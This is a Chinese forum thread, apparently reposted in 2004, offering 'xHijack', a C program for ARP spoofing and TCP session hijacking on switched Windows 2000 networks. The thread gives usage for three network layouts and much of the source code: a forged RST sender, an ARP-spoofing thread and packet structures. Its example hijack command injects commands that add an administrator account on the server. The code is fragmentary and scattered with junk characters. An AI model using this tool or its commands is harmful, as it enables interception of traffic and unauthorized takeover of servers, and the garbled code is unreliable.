QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4222|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |正序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表 + z0 W) k' f; l# t; o2 ]
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 ' u, R% q8 v; O# X/ t, @7 X
第二步是ARP欺骗,具体原理我就不说了。 ; z8 N# K  R1 \( h- Q. r( E% w4 _
第三步就是开始劫持啦。 , Q+ C$ \: y  n
4 j4 G6 C8 E: H( Y( a5 Z0 T
我写了个程序xHijack可以实现第二、三步功能,使用如下: / ?# `0 n- C* r( x
- }1 N3 w. u, y: @3 d
Usage: xHijack ServerSide ClientSide , j; r( _* l- r

# }* z$ a% v* k6 s" i下面根据三种不同的情况分别说明如何输入参数: ; s) \6 n" L( f) W3 S" y3 V
<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 1 D9 g/ d0 }2 d! {$ P9 M0 V
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 + C( P- C3 B! m/ ]6 H) G
c:\>xHijack 192.168.0.2 192.168.0.3
- c. Z3 a' h5 r$ i( C劫持前数据流程:server <--> client
! U# g$ m1 }% A% f劫持后数据流程:server <--> hijacker <--> client
9 d# l4 t- G, L( v$ }
4 h6 @. a, e; @: \1 q: j9 K1 o<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
( b, o* ]- W8 {假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 1 z9 Q/ t! Q% l) l
xHijack 202.202.202.2 202.202.202.1
- ?9 B* t9 V9 q" K) n2 k/ g: X劫持前数据流程:server <--> gw <--> routes <--> client
+ s4 M% V, H0 ?: }6 m劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client 6 h/ g0 x* P3 P1 ]' r4 o

: L- K, o# e; C7 l<3>客户端、劫持者处于同一局域网,服务器处于别的网络。 * p% X6 K$ ~- ^, N: ?) k, I
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数 & w) u+ L' o+ ~/ s* C
xHijack 192.168.0.1 192.168.0.2 : [6 \' H# ^( @+ s
劫持前数据流程:client <--> gw <--> routes <--> server 5 B! h. U) T4 D9 J* C8 z
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server
0 U3 O2 J: l% n* p1 b* J2 n  H+ }- S) H) |+ Q, n8 F4 E
输入两个参数后,会提示你选择网卡,然后会提示 . x1 q; _: T/ o( V0 }9 i1 E
l        <-- List all connections . [% ~& X/ s0 @' e- W) A
r x       <-- Reset the number x connection
$ ]! Y0 v' {$ \8 `8 B/ h: ow x       <-- Watch the number x connection 3 L% l, E1 h7 t- }; D3 Y6 G# V
h x command   <-- Hijack the number x connection to execute command
- b0 z* H) P6 E! u8 F+ I6 q
* q) A, E, L, t, g4 @list、reset、watch命令我就不解释了。
" D% u0 g. D( i, B1 O4 n假如现在有如下连接
7 W! K/ f6 E  G" u# P(1) 202.202.202.202:23 <--> 192.168.0.3:2345
4 w% w# E$ M3 v4 e& ?我们想要劫持这个连接运行我们的命令,输入 2 @2 O9 _  W/ p7 N. v( {
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
4 k) h0 V1 S8 C. Z- O: ?8 r为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是 # S' `6 K6 Q8 v  t3 ]! r4 \2 K  q
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
: K. V, J# x. c! H) R. W都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
3 u4 [: M9 k/ j- W
6 a  J1 K1 H6 |; {, H6 d/ Y: r劫持的流程如下:
2 `' w0 X4 q) M. g% l; R& k+ s<1>伪装成Server给Client发一个rst包
* c' A" z' H. W3 _8 Z; l<2>伪装成Client给Server发了一个数据包 ) S% s. `4 c9 h0 z. x( y% b! F4 }
<3>Server回一个ACK包给client 9 j# V2 A6 f4 D+ s. ~1 e
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server 0 T7 _7 C$ h1 t: `; f& e3 [& G; a2 Q

7 K- V1 r, f6 n) j这样的话,我们只能发一个伪造的包,但我想已经足够了。
- M& R. \7 q% X; O  `' Z想要一直劫持那个连接也可以,如下 6 W7 s, F  @2 M' Z1 J
<1>伪装成Server给Client发一个rst包 0 [) ~. t* [; b3 {& C1 n. m
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
0 n; U( d- x2 k<3>伪装成Client给Server发了一个数据包
0 W4 x* Q* _  ]  g+ I5 s+ r2 A<4>Server回一个ACK包给client   B  {7 z5 L( E3 X$ t
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
, [8 x( L" d& E6 J! L4 T4 H<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 1 _8 _. Q) n* G; ]
% o1 J9 w" ~3 P/ E
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
- L1 N) w5 U, ~* p: e2 u& B
. Z/ C3 e) y8 i6 c& B& J: b, E8 ^0 r
4 `! n1 t3 ~4 J( ?2 v刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
3 y. b* F& _& U还请各位多多指点。 ) D4 }$ L# f- l" Y- r

- S) R* @; ?) uBTW:我没有空间,编译好的程序没地方放:(
3 {+ k  T& _+ v8 j$ R0 g+ _
, R- _- u4 _+ ?8 q
6 v7 F4 `$ D1 P0 F9 W
0 A- o: O* h1 O9 n$ _8 u, `参考资料 % x0 v- L/ Y  n0 O: M
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
7 y: h1 f% F8 G<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377 6 \6 \% `6 ]# }* N
8 w& c9 |0 F  n: K1 u. O$ M7 x% M% \

' u7 z. k% \% M3 K) u2 M以下是程序代码 ( T9 Y4 M( ?/ S
----------------------------------------------------------------------
4 f! j. A3 U3 s6 }" J7 y2 \/*-----------------------------------------------------------------------------
' N5 n' M& h% h7 C; W' e  p/ pFile      : xHijack.c 7 h3 c% C! l# w2 ^
Version      : 1.0
: y" Z, C3 O. V# j: O2 WCreate at    : 2002/8/12
* c( \0 y0 R# I5 M6 ~1 dLast modifed at  : 2002/8/19
1 {* M% X& c+ M* ?7 rAuthor      : eyas ) d  a& I! y8 @/ A% B9 d
Email      : ey4s@21cn.com & ~/ K3 W. Z3 ?: q% P1 Q
HomePage    : www.ey4s.org , Q! N5 C; T' X; k3 k" x* q
感谢refdom和shotgun发布的源代码,使我获益非浅。
6 u+ |' P: z2 M, ^* \7 r4 x$ B* yIf you modify the code, or add more functions, please email me a copy.
' f. @. u, t( t% T/ ~0 Y
1 p1 g; @: i* s备注: 7 L  F; Z4 f  k" ^  X
<>没有考虑IP头、TCP头超过20字节的情况 * P0 J* r0 u6 e2 L" [
<>没有考虑数据包分片的情况 9 N  c- j; N6 g5 \
<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了 $ S% q3 l' x# s1 h% a
显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
( v4 o% Z$ D6 `1 C* e题了。 0 G1 ~8 Z* c% l- ^" U
- B. N! B# V8 P1 z2 k
也许下一版本会修正这些问题,也许不会有下一版本了。 " Q- P: j" Q" @  ]- k( j
. h5 K3 Q3 k( V2 R% ?3 Y
-----------------------------------------------------------------------------*/
1 m4 ]" V0 T; ]4 ~+ T, l: }* m#include
' b+ u2 r& h- p, x4 ^& I9 W' I#include
3 [4 p6 g; l- q  V#include ; j9 O, q' y( W( N) }' Y
#include
; a& D1 D4 A8 Z( L) q#include , D1 J. k* ^$ ~+ W1 b% ~
#include 4 f" a% o3 r  q
#include
' x) u* Z: `3 v0 _$ Z% T- \5 k# i4 G
; n6 Y; C3 Q6 u; L1 A# Q+ l#pragma comment (lib, "packet")
# p7 l2 G" z3 W* n#pragma comment (lib, "iphlpapi")
, p- y$ u' d; i& Y8 m+ a#pragma comment (lib, "ws2_32") % D) v  i) ~: {& ~. F1 V

2 R/ r1 s3 }! [- P& D' w& r#define Max_Num_Adapter 10 8 w9 Y+ W/ l* p' ]1 d
#define Max_Num_IPAddr  5 & v  r# `( G5 p* I7 o% }
#define EPT_IP      0x0800      /* type: IP  */ : P% B/ G2 Y% F# \- Y
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */ 1 _. ~& \1 z1 ?6 U& @7 f
#define EPT_ARP      0x0806      /* type: ARP */
0 t$ z. }; r+ Z- `+ p# O: d3 m
3 q" X) o3 W( r7 m# c4 ~- }& T#define  ACTION_NONE    0
1 C5 [9 g5 u4 Q' K$ O#define  ACTION_WATCH  1 0 w) L2 O. X# @! @. ^7 g% b' G
#define  ACTION_RESET  2
+ T; z; [4 S  N0 M  C2 j#define ACTION_HIJACK  3
1 P: P. A. W7 U; a
" ]/ P6 J- V8 a/ E/*以1字节对齐*/ ( {% I6 M" k1 P- E
#pragma pack(1) 8 h( Z5 @2 F: |: M+ ~! d% b( |
typedef struct _ehhdr * ^. v5 f/ w' l7 X
{ / g! U$ y2 A- u
  unsigned char  DestMAC[6]; ' x: A' s( t. k; r- N- v% V
  unsigned char  SourceMAC[6];
+ D' I6 Z9 `5 d* o' Q  {  unsigned short  EthernetType;
0 L; c8 _( b) q! v8 W6 r( H6 W}EHHDR, *PEHHDR;
- s% ]0 x. e% e, W+ I9 C
- n/ o; u6 z) I" dtypedef struct _iphdr        //定义IP首部 5 a5 Z4 @/ l% C4 p8 L) ^$ R% P
{ , o$ O, P. q/ ^* `: y$ l' Q
  unsigned char h_verlen;      //4位首部长度,4位IP版本号
% [) e3 S6 s+ f) Y  unsigned char tos;        //8位服务类型TOS / f& i, l6 Y0 q  d3 ?! ?0 _7 m/ n% [" U3 K
  unsigned short total_len;    //16位总长度(字节) ' H8 E' n7 @, ]- c
  unsigned short ident;      //16位标识 * c# L9 [0 r) C, d3 R% k
  unsigned short frag_and_flags;  //3位标志位 . @6 Y1 K$ d2 J6 E
  unsigned char ttl;        //8位生存时间 TTL
1 c" I1 J& j6 |5 {3 U9 y  unsigned char proto;      //8位协议 (TCP, UDP 或其他) + O- n# t! L' O
  unsigned short checksum;    //16位IP首部校验和
4 L  H: [3 S3 Y$ w4 X4 ~  unsigned int sourceIP;      //32位源IP地址 # O! G1 C. f; F8 l
  unsigned int destIP;      //32位目的IP地址
3 J4 H' Z( j) d}IPHDR, *PIPHDR; + F# s/ z6 ^4 H8 L# g
, U! |0 X4 {  i/ z7 f- g
typedef struct _tcphdr        //定义TCP首部 0 d- @2 e; f' X- F
{ ! f/ f( x1 k. H
  USHORT th_sport;        //16位源端口 7 ]& \9 ~+ P  f9 T
  USHORT th_dport;        //16位目的端口
, L/ {8 ?% A7 T$ [; B% W  unsigned int th_seq;      //32位序列号
2 s" Y; I& e" u/ R  X0 |  unsigned int th_ack;      //32位确认号 ; M3 G) N2 K% v) t
  unsigned char th_lenres;    //4位首部长度/6位保留字 ) O( {8 `  M3 ?" t: _( W/ X
  unsigned char th_flag;      //6位标志位
4 E" K4 @3 j, Y% T# q, ^( s5 Y( [4 o  USHORT th_win;          //16位窗口大小 & w- ?) M3 C5 s, e" o6 w1 I
  USHORT th_sum;          //16位校验和
4 N/ N# x/ }4 g- }  USHORT th_urp;          //16位紧急数据偏移量 & Q$ u  X- {* [$ N4 x, s: |
}TCPHDR, *PTCPHDR; 7 i3 n2 L" f/ {* T( x! l8 k" e6 Y& k# ^
3 k+ L% [) x9 b3 J) h+ \
typedef struct _psdhdr        //定义TCP pseudo header
) S4 b; e7 z! I{               
" ?0 A* d& G  r0 t" d9 O# D  unsigned long saddr; / l9 f3 K& U, S
  unsigned long daddr; 3 {; i- |% K2 O. z- X1 u$ I
  char mbz;
% a) b- |# Q" b; @3 z' \1 c  char ptcl;
" S1 o6 v8 Q1 B! g* z  unsigned short tcpl;
& R5 u6 X& O' o: n1 I, S3 b, c}PSDHDR, *PPSDHDR; - D7 v! \: ^+ D# i0 U6 P5 r! K, Q

2 W4 |$ ?/ u0 I, etypedef struct _arphdr
9 ?' E% ]7 g. i{
' s) x7 J% |* U- y/ }" x0 ]% `  unsigned short  HrdType;//硬件类型
( L. U: j1 J7 E  r6 {% p  unsigned short  ProType;//协议类型
8 Z: m( x5 {& k/ [& G% z3 [7 b  unsigned char  HrdAddrlen;//硬件地址长度 9 w5 y- b) G; R; \; M
  unsigned char  ProAddrLen;//协议地址长度
8 E, \; v4 S; I  H  unsigned short  op;//operation
# X" J0 I8 a3 i6 G+ q  unsigned char  SourceMAC[6];/* sender hardware address */ 9 a4 w8 \6 R. z! j
  unsigned long  SourceIP;/* sender protocol address */
+ Q5 y! [4 \' Y+ K7 M- t. U  unsigned char  DestMAC[6];/* target hardware address */
0 A- _$ ^1 p  K3 M, S  unsigned long  DestIP;/* target protocol address */ + ~; O) f( Z3 p
}ARPHDR, *PARPHDR; 7 h9 Q' O2 F9 D

: T) M0 I$ }9 M5 h+ _6 n+ C6 Ytypedef struct _ArpPacket 4 H) U" J, ]% h5 a- i* f# e
{ " j- ?0 @4 _, k" k
  EHHDR  ehhdr;
2 g$ d$ m  H, S  M, [+ `  ARPHDR  arphdr;
' G) K& @. A5 ^/ p8 }; N}ARPPACKET, *PARPPACKET; 9 j7 o9 @, X) z
' f0 x+ R$ }% y/ S, Z: H; ~0 X) p
typedef struct _tcppacket
/ N" D9 P6 y% ?9 j/ d{
3 a9 R8 a  N2 u9 q: a( G  EHHDR  ehhdr; 7 L- l) P! z2 w5 ]) D% F
  IPHDR  iphdr; 5 S. N* h0 ^5 C) q( k
  TCPHDR  tcphdr;
" F& E! I; k; R" @* d% v}TCPPACKET, *PTCPPACKET; , s0 ~8 q7 @5 P) j3 w8 v* b, x' c

% p$ m; @; U1 U* ~, `! Xtypedef struct _conninfo ! ~9 s- R! ]" c
{
4 `5 u. M' w1 ^9 F  DWORD  dwServerIP;
+ V( n3 J4 q8 E5 g( e8 i  USHORT  uServerPort; * u( L6 S: d% T
  DWORD  dwClientIP; * m5 ~0 k9 u8 Z
  USHORT  uClientPort;
! j+ P4 j8 U5 M$ R+ [8 j* o& h2 Q  DWORD  ident;//标识 # b. f; ]- q$ [
  BOOL  bActive;
, }- Y8 k; N6 H& U/ S  K  struct  _conninfo  *Next; - f% p  v/ V0 G( [
}CONNINFO, *PCONNINFO; 0 M2 H& E  m& N) V6 p8 A/ H8 `

" E) d  }/ `4 R' z- P+ {+ l//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    __finally " u8 L: g% ?' `5 I/ e' d* M% `& L
      { 9 C# `  n5 }( p
        if(pHiJackPacket) free(pHiJackPacket); % ]3 Y* x# ^( z: P$ k# t+ _
      } 9 W5 l' T6 T4 ]# F
      return bRet; + T) L5 V! o% c2 [, Y1 v' u5 c
    }
    / X, z& {! H& ^; N. S* A
    . H9 L8 Q5 s9 q% u
    , o* ]% z/ d' d( z6 H6 k//
    ' \/ [7 E- k# ?7 f* T4 I1 f+ h/ Z//功能:伪装成Server给Client发送rst包 - }( j* _  u' D( B" K
    // 8 v- u( ]" x$ f4 r$ W3 a
    BOOL SendRstPacket(unsigned int seq, unsigned int ack) ' t7 |- M( h) g, _
    { , Z8 Z7 A8 F% E+ H7 e
      char    szBuff[60];
      d" S$ D5 ]/ `5 i$ P  V; V  PSDHDR    psdhdr; + ?" f) a/ _, O  j; b
      PTCPPACKET  pTcpPacket = NULL;
    % U  [1 Y5 G; u  BOOL    bRet = FALSE; 5 `: q- q- ]. ^6 f9 C
    % o& T  [  T: e" A  H2 K  H
      __try
    4 S# b/ @4 N; S3 ?  {
    ) X% t' Z* i8 j8 I    //检查当前指向想控制的连接的信息的指针是否为空 4 T3 Q- U; s! f5 D# v
        if(!g_pCurrCtrlConn) __leave;
    $ c+ _& n7 v; R  a8 w    //allocate memory for rst packet
    8 O) R6 g! Y. z: Y    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    ( ^) H& r4 _4 Y7 z3 A0 M* X: n7 Y    if(!pTcpPacket)
    + @$ V# G  H  w4 ]. K" G# u    {
    , R- e9 q% _: I& D: i0 @, V" w4 X      printf("malloc error:%d\n", GetLastError());
    " u) W' W: d4 q% u$ w5 E- R      __leave;
    9 w; y8 m0 {- Z/ h: I5 v    } : ~, M! M; p4 N$ \6 Q  K
        //fill ethernet head $ ?# _7 L: ?( B: E) x" t
        memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6);
    . p9 j" F. v7 P    memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); 9 b* f1 B- ^% D6 h
        pTcpPacket->ehhdr.EthernetType = htons(EPT_IP); 3 [+ E8 {* v  M
        //fil ip head ( c# M8 J: N# v" C* Q
        pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); 5 J* A+ U" v7 ^) a5 q+ Z, x# i
        pTcpPacket->iphdr.tos = 0; : @! Q: r1 [+ T( G3 U0 w- B
        pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
    # q# M& G' j+ [    pTcpPacket->iphdr.ident = 1;
    ) _7 M1 ~# E/ Z, W( @1 y( f; L& N    pTcpPacket->iphdr.frag_and_flags = 0; ( G6 S( J5 y) F3 o
        pTcpPacket->iphdr.ttl = 128; - z! C% d% ]1 ~- F1 s) I
        pTcpPacket->iphdr.proto = IPPROTO_TCP; 9 ]2 M8 A. L7 \7 {5 Y) [0 b
        pTcpPacket->iphdr.checksum = 0;   ^- M* i, w9 y5 _
        pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址,伪装成服务器的
    % f$ v$ ^+ t4 B/ T6 `: ?% d" b! g    pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址 & D/ k5 ^4 X$ v# w) l0 [: X- D, k
        //fill tcp head   {4 S3 s2 L8 |& Y+ B
        pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号,伪装成服务器的端口
    % J0 j: X- S2 ~. _% B; ?    pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口 , \. l" ^3 M3 F8 S( S* F& Q3 a2 f4 f
        pTcpPacket->tcphdr.th_seq = seq;//SYN
    9 h7 y4 ?! {. _  |" d    pTcpPacket->tcphdr.th_ack = ack;//ACK 2 u" R0 c5 k* p
        pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
      Y; G, K) a/ f( Z% V- t    pTcpPacket->tcphdr.th_flag = 4;//RST flag : s. M8 Q) y8 N  N
        pTcpPacket->tcphdr.th_win = 0; ' w6 f. }& R' J. }5 V
        pTcpPacket->tcphdr.th_urp = 0;
    5 P  I9 @3 l1 d9 Z    pTcpPacket->tcphdr.th_sum = 0;
    7 v  }3 ^; y- v) R' J6 p: X    //fill tcp psd head
    - e: A6 b$ u7 z, }* d    psdhdr.saddr = pTcpPacket->iphdr.sourceIP;           ; M2 W0 N$ u# b7 }
        psdhdr.daddr = pTcpPacket->iphdr.destIP;           
    ' i5 I5 O; f/ B' x' Z    psdhdr.mbz = 0;
    % A$ u( N0 Z! J( d    psdhdr.ptcl = IPPROTO_TCP;
    & Y6 e) [8 H, z6 f    psdhdr.tcpl = htons(sizeof(TCPHDR)); . P; m* Y$ T: w# i7 n. D# R
        //calculate tcp checksum     
    . W8 B) p4 \0 ^: O    memcpy(szBuff, &psdhdr, sizeof(PSDHDR));   
    ! b2 e* L+ k9 H5 P    memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR)); 5 ]8 J# i& a1 r; d7 g8 I5 T; q' N
        pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
    ' o% c0 v% r( c& k5 `    //calculate IP checksum
    7 a) K5 b0 P+ z/ Y: C- K, I. ?2 |    pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR));
    6 I0 [+ W  X, A, F) S    //fill send buffer ( p5 u: p, j' }& f. J3 b8 d
        memset(g_lpSendPacket->Buffer, 0, 1514); . N$ Z' }- q' }$ H
        memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
    3 U1 w7 M, |- j8 Z. g, n6 ^5 ^) W    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    6 J/ J5 G" U8 c. |5 v. b' f    { # t+ K% g2 d7 u" r3 X( ~3 t
          printf("Error sending the rst packets!\n"); 2 H$ Z0 w. K# `+ [
          __leave; ) }/ e. [+ B6 `# S% O! g2 C/ e
        } * F# ?8 k- `4 i1 o/ R9 b
        else printf("Send RST packet ok!\n"); # E! _8 W# B/ y4 O
        bRet = TRUE;
    4 }5 L% F  c7 l! ]7 D4 J  }
    : H% F$ ^+ H% I; \2 l' o- k/ M- S  __finally   p( i/ t  l5 e
      {
    + ?% ~, \6 s% Q- S1 G    if(pTcpPacket) free(pTcpPacket); # r. [, ~6 a, O+ F. t0 g' ?. ~$ f4 n
      }
    $ P2 i# m! b( ^$ k. e  return bRet; 0 O, a, _) }6 Z4 v
    } ( k/ R6 H- H, j

    9 O4 E% w. }7 [& {// & B4 {4 R( a2 w+ G5 G0 v
    //功能:计算校验和
    6 d9 l% S4 h. ^+ L// ) F% o" v! s0 s& q0 G! B
    USHORT checksum(USHORT *buffer, int size) 0 C" z$ B: c+ D* S
    { ; d' }+ d7 J& b- G
    unsigned long cksum=0; ! j5 K$ p# r, w) E$ E
    while(size >1) {
    3 E; n! z# _6 k% {9 }* D9 `' x  cksum+=*buffer++;
    ; j% ^. J, B% \+ d' Y  size -=sizeof(USHORT);
    1 P; H' G& y0 y1 d" @! Y& W }
    & p; o! I- I) m if(size ) {
    2 {/ M6 A6 {9 ^% H  cksum += *(UCHAR*)buffer;
    3 o' a& W) ^9 X } % ^6 E9 O& ]0 q; x
    cksum = (cksum >> 16) + (cksum & 0xffff); 6 W; Y" Z2 ^6 }, B
    cksum += (cksum >>16); 3 h+ D: P2 V. Z7 H2 p4 h
    return (USHORT)(~cksum); ! Z) `1 ]8 }9 V& ^+ P) n( \9 w2 S
    }
    " u9 `6 Z$ L2 d# i2 I. O) Z, A$ X- d6 [) P3 c& p3 t- R4 K; Y8 W/ ]6 @
    //
    ' j# E; I# w; ?7 ?$ O//功能:实施ARP欺骗
    : m4 k) [$ e/ w1 u  _: s6 J; x//1 告诉ServerSide,ClientSide的mac是ownmac 5 o: {; H. E  s- [% q4 F
    //2 告诉ClientSide,ServerSide的mac是ownmac ; }" @" h6 w: [& T& S8 y
    // 9 ]$ A) z( S) _5 [2 @
    DWORD WINAPI ArpSpoofThread(LPVOID lpType) 6 _& b# o; N' Q9 y- e; T
    { 2 s; e  G. N* m7 E; S
      int  iType = *(int *)lpType; - u. ^# e0 h0 A4 n. ?. m
      ARPPACKET  ArpPacket;
    # \! d2 \+ K  [2 ]1 J% T  LPPACKET  lpArpPacket; - q' N3 g/ _, }) W
      char    szArpBuff[60]; ; A& P! ^. X: f; l, ^) O/ l3 Z2 i- w

    9 F3 I2 H1 J5 y- Q  switch(iType) + v: n% C# a3 f2 |
      {
    + m' v# u' g& i$ r4 C2 O0 V* c    case 1:
    + p  N' X, {8 P7 d" ?      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
    9 \& e4 E3 Z( n8 d  B      ArpPacket.arphdr.DestIP = g_ServerSideIP;
    & R! |0 B1 P/ G      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
    ) t. A/ j/ T) w9 L      break;
    6 @8 s' A) o2 j" A' b/ I1 B    case 2: & K$ h' R- z3 k3 |
          memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
    : d7 S( A9 a7 X* r4 K) J& H" b      ArpPacket.arphdr.DestIP = g_ClientSideIP; 5 E2 F, w) I# Z
          ArpPacket.arphdr.SourceIP = g_ServerSideIP;
    / ?9 M+ N6 }3 f4 G      break; . A/ g# W, u7 n; P) K
        default: 3 z# Y; ~' Y* U' e9 i9 J! G
          return 0;
    % f4 Y& v4 U" M% Q: B( Y4 o2 }, Y  }
    ; N0 h) y+ Y/ y  //ethernet head
    7 J0 V2 w" b7 M  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
    0 g' J# X& Y( ^, G3 d  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
    7 T# A" c2 s3 v3 D6 v  //arp head
    : Q+ u% S% O  a  K: c  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac 0 C0 T3 a* d6 `
      memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac ) D, D: y3 j7 C) A& x4 K
      ArpPacket.arphdr.HrdAddrlen = 6; + U& b" U2 s& f! V( W
      ArpPacket.arphdr.ProAddrLen = 4; : {& X6 r  \3 [- D8 x
      ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE); ) @. e) t! X- d4 Y$ z
      ArpPacket.arphdr.ProType = htons(EPT_IP);
    , M& O5 `" D& P  ArpPacket.arphdr.op = htons(2);//arp reply 9 @; @/ @. ~/ e9 ?
    / ~+ R1 E- m/ c
      lpArpPacket = PacketAllocatePacket(); 7 R- ?! K+ O3 i' y3 O! Z: I* g
      if(lpArpPacket == NULL) # p. w3 A: t$ t6 Z! O6 Z$ r1 F" a
      { ! l6 r6 ?: s( k! d4 q
        printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
    / D. H' H8 _/ F5 D+ T$ t    return 0;
    * l4 A4 b2 z7 b& g: v2 X$ d' A$ k  }
    ) Q7 t8 y* H9 `2 Y% D2 j9 c  memset(szArpBuff, 0, sizeof(szArpBuff));
    9 x% v: t* h% ^0 ^! l  memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET)); 8 g, T0 M' i& t6 `1 Q
      PacketInitPacket(lpArpPacket, szArpBuff, 60);
    " E( K; P4 I& l" e- t  //send arp packet . D. k  q9 o3 z  t, Q1 Z& p2 j
      while(1) $ I" {  [' ]2 w9 d0 O  h: G, U
      {
    2 N' B( d; M% k8 Q1 M4 I* I1 T    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
    + P& v, q4 `, Q; x% V( o    { 2 m1 {4 K0 K5 M/ V1 n5 p
          printf("Error sending the arp spoof packets!\n"); - O* |# P, [, _: ~. w6 Z5 _" Y) a  Y
          return 0;
    3 ?  K  M& J6 v3 h; p3 }    }
      B- e, {+ W  A+ a0 P- |1 Q    Sleep(1000); 4 j3 c( o1 u' [9 K% J6 l& ]
      }
    0 c' q( e' j# S! [3 ]9 T  return 0; + C' F+ l3 y; @  q
    }
    ! _: ~! K/ q& u$ h! M# n. \9 @( [  [
    . s( Q- R- e0 u6 N; H* `* @//
    ' ?3 u( p; a9 o5 _: g//功能:输入IP取得对应的MAC地址 + p4 f6 d8 W7 S# ?1 B
    //
    2 r  j+ M; S, o+ |  ?BOOL GetMACAddr(DWORD DestIP, char *pMAC)
    9 ^+ t- {' Z4 Q; {( h{
    3 Y: V$ S& p. E& @. F* Q( c1 W  DWORD  dwRet; 1 f  c( D3 _" H; M; q
      ULONG  ulLen = 6, pulMac[2]; " f5 j5 \9 D9 ^8 v
      dwRet = SendARP(DestIP, 0, pulMac, &ulLen); 2 o* F5 A* C9 F3 v* |  H* }3 B
      if(dwRet == NO_ERROR)
    - h- n( s1 d( V6 o4 g1 M  { 6 L3 [  x9 S/ y* ~5 a* e* L4 _
        memcpy(pMAC, pulMac, 6); 5 B, k0 p- V0 D$ J+ d" T
        return TRUE;
    # Z2 {# a6 Z  a  y+ \" x  }
      n  d2 m9 A4 F; h" ~+ t' c  else return FALSE; ! g* Z) [  u6 O4 d' I
    }
    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); ' K# {6 H2 V& K2 g) d! w
                //reset action flag : i7 s7 h" Z% \, r
                ResetActionAllFlag();
    ( Y0 d3 a3 P0 i( U          } ; U1 t2 J, X% a9 |% q; l8 p
              //start hijack
    2 ]& [, q  e" s3 U4 @2 I1 c1 y          else if(g_dwAction == ACTION_HIJACK)
    0 r5 t9 V/ n" k          {
    ' g# o' r# U' r& }4 u            //send rst packet to client
